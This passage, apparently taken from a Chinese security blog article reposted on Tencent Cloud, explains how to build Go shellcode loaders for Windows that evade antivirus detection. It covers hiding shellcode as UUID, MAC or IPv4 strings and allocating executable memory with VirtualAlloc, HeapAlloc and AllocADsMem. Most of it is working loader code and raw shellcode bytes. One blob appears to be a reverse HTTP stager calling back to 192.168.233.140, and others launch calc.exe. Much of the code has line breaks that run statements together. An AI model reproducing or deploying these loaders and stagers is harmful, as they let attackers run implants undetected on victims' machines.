rpcStatus, _, err := UuidFromStringA.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)
if rpcStatus != 0 {
log.Fatal(fmt.Sprintf("There was an error calling UuidFromStringA:\r\n%s", err))
}
addrPtr += 16
}
syscall.Syscall(addr, 0, 0, 0, 0)

输入二进制的shellcode转换为uuid

mac加密

代码语言:javascript
代码运行次数:0
运行
复制
\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\ x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x 4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x0 1\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18
\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\ x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\x d6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x0 3\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c
\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\ x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x 48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x0 0\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48
\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\
xeb\x73\x5a\x48\x89\xc1\x41\xb8\x90\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x 03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x4 9\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff
\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\
xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x 85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x0 0\xe8\xa2\xff\xff\xff\x2f\x6a\x71\x75\x65\x72\x79\x2d\x33\x2e\x33\x2e\x32\x2e\x73
\x6c\x69\x6d\x2e\x6d\x69\x6e\x2e\x6a\x73\x00\x34\xbe\xc2\x82\x3b\x8e\x92\x7f\x29\
xc7\xfe\xd5\x20\x46\xd2\x02\x7d\xda\x70\xcf\x24\x0d\x8f\x81\xed\x23\xf8\x0f\xbb\x c0\xa4\x12\xa7\x33\x01\x0b\xb0\x20\x6f\x87\x1f\x94\xd4\x07\x81\x10\x8a\x29\x42\xe d\xa0\x7e\xd4\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d
\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\ x78\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x3b\x 71\x3d\x30\x2e\x39\x2c\x2a\x2f\x2a\x3b\x71\x3d\x30\x2e\x38\x0d\x0a\x41\x63\x63\x6 5\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65
\x6e\x3b\x71\x3d\x30\x2e\x35\x0d\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\ x74\x70\x3a\x2f\x2f\x63\x6f\x64\x65\x2e\x6a\x71\x75\x65\x72\x79\x2e\x63\x6f\x6d\x 2f\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x6 7\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65\x0d\x0a\x55\x73\x65\x72\x2d\x41
\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\ x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x33\x3b\x20\x54\x72\x69\x64\x65\x 6e\x74\x2f\x37\x2e\x30\x3b\x20\x72\x76\x3a\x31\x31\x2e\x30\x29\x20\x6c\x69\x6b\x6 5\x20\x47\x65\x63\x6b\x6f\x0d\x0a\x00\xc2\xa3\xa6\x52\xa1\x99\xa6\x70\x78\xa6\x22
\x48\xd4\xc3\xd1\x88\xe9\xf3\xa7\x17\x91\xeb\x16\xd5\x83\xcb\xef\xbc\x8d\xea\x62\ xd9\x2f\xed\x41\x33\x3c\xb2\x1d\x73\xaf\x9f\xad\xdb\x10\xda\xc2\xc3\x16\x2c\xd0\x 8c\x47\xb4\xd1\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x0 0\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5
\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\ x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x 07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\xaf\x0f\x00\x00\x50\xc3\xe8\x9 f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x33\x33\x2e\x31\x34\x30\x00\x00
\x01\x86\xa0

同样是输入二进制shellcode

mac的脚本需要python2运行

代码语言:javascript
代码运行次数:0
运行
复制
package main
import (
"syscall" "unsafe"
)
func main() {
kernel32 := syscall.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
// RtlEthernetStringToAddressA 在ntdll.dll
ntdll := syscall.NewLazyDLL("ntdll.dll") procRtlEthernetStringToAddressA :=
ntdll.NewProc("RtlEthernetStringToAddressA") shell_mac := []string{}
// 计算需要分配的内存大小
memSize := uintptr(len(shell_mac) * 6) // 每个 mac 占用 6 字节 addr, _, _ := VirtualAlloc.Call(0, memSize, 0x1000|0x2000, 0x40) addrptr := addr
for _, mac := range shell_mac { u := append([]byte(mac), 0)
procRtlEthernetStringToAddressA.Call(uintptr(unsafe.Pointer(&u[0])),
uintptr(unsafe.Pointer(&u[0])), addrptr) addrptr += 6
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

ipv4 同样是输入二进制的shellcode python运行

代码语言:javascript
代码运行次数:0
运行
复制
package main
import (
"syscall" "unsafe"
)
func main() {
kernel32 := syscall.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
// RtlIpv4StringToAddressA 在ntdll.dll
ntdll := syscall.NewLazyDLL("ntdll.dll")
RtlIpv4StringToAddressA := ntdll.NewProc("RtlIpv4StringToAddressA") shell_ipv4 := []string{}
// 计算需要分配的内存大小
memSize := uintptr(len(shell_ipv4) * 4)
addr, _, _ := VirtualAlloc.Call(0, memSize, 0x1000|0x2000, 0x40) addrptr := addr
for _, ipv4 := range shell_ipv4 {
u := append([]byte(ipv4), 0) RtlIpv4StringToAddressA.Call(uintptr(unsafe.Pointer(&u[0])), uintptr(0),
uintptr(unsafe.Pointer(&u[0])), addrptr) addrptr += 4
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

本地分离/网络分离 申请内存 函数上的操作 除了VirtualAlloc,还可以使用 HeapAlloc, 以及AllocADsMem VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40) 这行代码调用了 VirtualAlloc 函数来在进程的虚拟地址空间中分配内存。VirtualAlloc 函数是Windows API 中用于内存管理的函数之一。在这行代码中,第一个参数为 0 ,表示让系统自动选择适当的地址;第二个参数为 uintptr(len(sc)) ,表示要分配的内存大小, len(sc) 可能是一个字节切片的长 度,也就是要分配的字节数;第三个参数为 0x1000|0x2000 ,表示同时提交和保留内存;第四个参数为 0x40 ,表示内存权限(可读可写)。这个函数通常用于分配较大块的内存,比如用于存储代码执行的缓冲区(shellcode)。

HeapAlloc.Call(heapAddr, 0, uintptr(len(sc))) 这行代码使用了 HeapAlloc 函数来在堆上分配内存。HeapAlloc 是 Windows API 中的一个函数,它通常用于在堆上分配内存。在这行代码中, heapAddr 可能是一个指向堆的句柄或者是堆的基地址, uintptr(len(sc)) 表示要分配的内存大小。

代码语言:javascript
代码运行次数:0
运行
复制
package main
import (
"fmt"
"log" "syscall" "unsafe"
)
func main() {
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api
RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory") HeapCreate := kernel32.MustFindProc("HeapCreate") HeapAlloc := kernel32.MustFindProc("HeapAlloc")
sc := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41,    0x51, 0x41, 0x50,0x52, 0x51, 0x56,     0x48,     0x31,     0xd2,     0x65,     0x48,     0x8b,     0x52,     0x60,     0x48,    0x8b,    0x52, 0x18, 0x48,     0x4d,    0x8b, 0x52, 0x20,0x31, 0xc9, 0x48,    0x48,    0x8b,    0x72,    0x50,    0x48,    0x0f,    0xb7,    0x4a,    0x4a,    0x31, 0xc0, 0xac,    0x3c,    0x61,    0x7c,    0x02,    0x2c,    0x20,    0x41,    0xc1,    0xc9,    0x0d,    0x41, 0x01, 0xc1,     0x48,    0xe2, 0xed, 0x52,0x01, 0xd0, 0x8b,    0x41,    0x51,    0x48,    0x8b,    0x52,    0x20,    0x8b,    0x42,    0x3c,    0x80, 0x88, 0x00,    0x00,    0x00,    0x48,    0x85,    0xc0,    0x74,    0x67,    0x48,    0x01,    0xd0,    0x50, 0x8b, 0x48,0x18, 0x44, 0x8b,     0x40,     0x20,     0x49,     0x01,     0xd0,     0xe3,     0x56,     0x48,     0xff,    0xc9,    0x41, 0x8b, 0x34,    0x88, 0x48, 0x01,    0xd6,    0x4d,    0x31,    0xc9,    0x48,    0x31,    0xc0,    0xac,    0x41,    0xc1,    0xc9, 0x0d, 0x41,0x01, 0xc1, 0x38,     0xe0,     0x75,     0xf1,     0x4c,     0x03,     0x4c,     0x24,     0x08,     0x45,    0x39,    0xd1, 0x75, 0xd8,     0x48,    0x58, 0x44, 0x8b,0x44, 0x8b, 0x40,    0x40,    0x24,    0x49,    0x01,    0xd0,    0x66,    0x41,    0x8b,    0x0c,    0x1c, 0x49, 0x01,    0xd0,    0x41,    0x8b,    0x04,    0x88,    0x48,    0x01,    0xd0,    0x41,    0x58,    0x41, 0x58, 0x5e,     0x41,    0x59, 0x5a, 0x41,0x52, 0xff, 0xe0,    0x58,    0x41,    0x59,    0x41,    0x5a,    0x48,    0x83,    0xec,    0x20,    
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01,
0x00, 0x00, 0x41, 0xba,
0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd,
0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05,
0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00}
// 创建一个堆
heapAddr, _, err := HeapCreate.Call(uintptr(0x00040000), 0, 0) if heapAddr == 0 {
log.Fatal(fmt.Sprintf("there was an error calling the HeapCreate function:\r\n%s", err))
}
// 在堆上申请内存
addr, _, err := HeapAlloc.Call(heapAddr, 0, uintptr(len(sc)))
// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型 RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
// 5.回调函数调用 syscall.Syscall(addr, 0, 0, 0, 0)
// 7.关闭 DLL kernel32.Release()
}

heapcreate/heapalloc函数解析 AllocADsMem.Call(uintptr(len(sc))) AllocADsMem 是 Active Directory Service Interfaces (ADSI) 库中的函数,用于分配内存。它通常用于与 Active Directory 相关的操作。

这个函数的作用是分配指定大小的内存块,并返回指向分配内存的指针。它与 HeapAlloc 函数类似,但是用于特定的内存分配需求。

代码语言:javascript
代码运行次数:0
运行
复制
package main import (
"syscall"
"unsafe"
)
func main() {
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll") Activeds := syscall.MustLoadDLL("Activeds.dll") AllocADsMem := Activeds.MustFindProc("AllocADsMem")
// 2.获取windows api
RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory") VirtualProtect := kernel32.MustFindProc("VirtualProtect")
sc := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41,
0x51, 0x41, 0x50,

0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b,
0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48,
0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b,
0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0,
0x50, 0x8b, 0x48,
0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9,
0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39,
0xd1, 0x75, 0xd8,
0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48,
0x44, 0x8b, 0x40,
0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58,
0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41,
0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00,
0x00, 0x41, 0xba,
0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd,
0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05,
0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00}
// 申请指定大小的内存,可读写的
addr, _, _ := AllocADsMem.Call(uintptr(len(sc)))
// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型 RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc))) oldProtect := 0x04
//修改权限为可执行
VirtualProtect.Call(addr, uintptr(len(sc)), 0x40, uintptr(unsafe.Pointer(&oldProtect)))
// 5.回调函数调用
syscall.Syscall(addr, 0, 0, 0, 0)
// 7.关闭 DLL kernel32.Release()
}

总结一下 这3个分别使用了不同的函数来分配内存,且用于不同的目的。AllocADsMem 和HeapAlloc 函数可能是特定于某些库或者服务的内存分配函数,而 VirtualAlloc 函数是 Windows API中的标准内存分配函数之一,通常用于在进程的虚拟地址空间中分配内存。

属性上的操作

代码语言:javascript
代码运行次数:0
运行
复制
直接申请可读可写可执行, 0x40
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
代码语言:javascript
代码运行次数:0
运行
复制
申请可读写 0x04 --> 修改成可读可写可执行 0x40
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x04) oldProtect := 0x04
VirtualProtect.Call(addr, uintptr(len(sc)), 0x40,
uintptr(unsafe.Pointer(&oldProtect)))
代码语言:javascript
代码运行次数:0
运行
复制
申请可读写 0x04 --> 修改成可读可执行 0x20
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x04) oldProtect := 0x04
VirtualProtect.Call(addr, uintptr(len(sc)), 0x20, uintptr(unsafe.Pointer(&oldProtect)))

shellcode的运行方式 可以自行总结各种方式作为模

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-12-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 加载器的基本代码
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档